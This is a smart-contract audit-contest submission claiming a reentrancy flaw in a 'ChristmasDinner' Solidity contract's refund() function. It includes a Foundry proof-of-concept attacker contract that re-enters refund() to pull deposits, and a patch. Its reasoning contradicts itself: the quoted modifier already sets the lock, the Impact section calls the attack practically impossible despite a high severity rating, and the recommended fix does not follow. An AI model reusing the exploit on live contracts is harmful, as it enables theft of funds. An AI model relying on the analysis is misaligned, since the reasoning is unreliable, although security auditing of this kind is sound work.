Christmas Dinner

First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

The `ChristimasDinner:refund` function is open for **REENTRANCY**.

Summary

The ChristmasDinner:refund Natspec assumes that the function is reentrancy-safe because it uses the nonReentrant modifier. However, the safety provided by the nonReentrant modifier relies primarily on the locked variable. When a function uses this modifier, it should set locked to true at the very beginning of the function. This ensures that if someone attempts to re-enter the function, the conditions in the modifier will fail and the transaction will revert.

modifier nonReentrant() {
/*
This part is executed at the start of the function call.
Initially, the `locked` variable is `false`, so the `require` check passes,
allowing the function to proceed.
The function must then set `locked` to `true` to prevent re-entrance.
If the function is called again before it completes (a re-entrant call),
the `require` statement will fail because `locked` will already be `true`,
causing the transaction to revert.
*/
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false; // Reset `locked` to `false` after the function completes.
}
function refund() external nonReentrant beforeDeadline {
// @audit locked is not set to true so it leades to re-entrancy
address payable _to = payable(msg.sender);
_refundERC20(_to);
_refundETH(_to);
emit Refunded(msg.sender);
}
  • In the ChristmasDinner:refund function, the locked variable is not set to true, which means the nonReentrant modifier is ineffective. This leaves the function vulnerable to reentrancy attacks because the locked condition will not prevent re-entering the function during its execution.

Impact

  • The re-entrancy risk is minimal because while the refund() function consumes 63,873 gas in total, the transfer() function only forwards 2300 gas to the recipient contract. This 2300 gas stipend is insufficient to re-enter the refund() function which requires 63,873 gas to execute. Therefore, a re-entrancy attack is practically impossible in this scenario.

Proof Of Concept

  • Add the below contract and tests to ChristmasDinnerTest.t.sol:ChristmasDinnerTest.

// Contract
contract ExploitRe_Entrancy{
uint256 Exploit_Deposit=1e18;
address victim_Addr;
function exploit(address _victim )public payable{
victim_Addr=_victim;
(bool check1,)=_victim.call{value:msg.value}("");
require(check1,"Exploiter contract Native deposit Failed");
(bool check2,)=victim_Addr.call(abi.encodeWithSignature("refund()"));
require(check2,"ChristimasDinner:refund in Exploit contract failed");
}
receive()external payable{
if(address(msg.sender).balance>=Exploit_Deposit){
(bool check1,)=victim_Addr.call(abi.encodeWithSignature("refund()"));
require(check1,"ChristimasDinner:refund in Exploit contract failed");
}
}
}
//POC
function test_POC_RE_ENTRANCY()public{
hoax(user1,11 ether);
(bool check1,)=address(cd).call{value:10 ether}("");
hoax(user2,11 ether);
(bool check2,)=address(cd).call{value:10 ether}("");
hoax(user3,11 ether);
(bool check3,)=address(cd).call{value:10 ether}("");
require(check1,"User1 Native deposit failed");
require(check2,"User2 Native deposit failed");
require(check3,"User3 Native deposit failed ");
ExploitRe_Entrancy Exploit=new ExploitRe_Entrancy();
uint256 StartingBalance=address(Exploit).balance;
Exploit.exploit{value: 1 ether}(address(cd));
uint256 EndingBalance=address(Exploit).balance;
console.log("Starting Balance :",StartingBalance);
console.log("Ending Balance :",EndingBalance);
}

Tools Used

Foundry

Recommendations

  • Make the below changes in refund() function.

function refund() external nonReentrant beforeDeadline {
+ locked=true;
address payable _to = payable(msg.sender);
_refundERC20(_to);
_refundETH(_to);
emit Refunded(msg.sender);
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.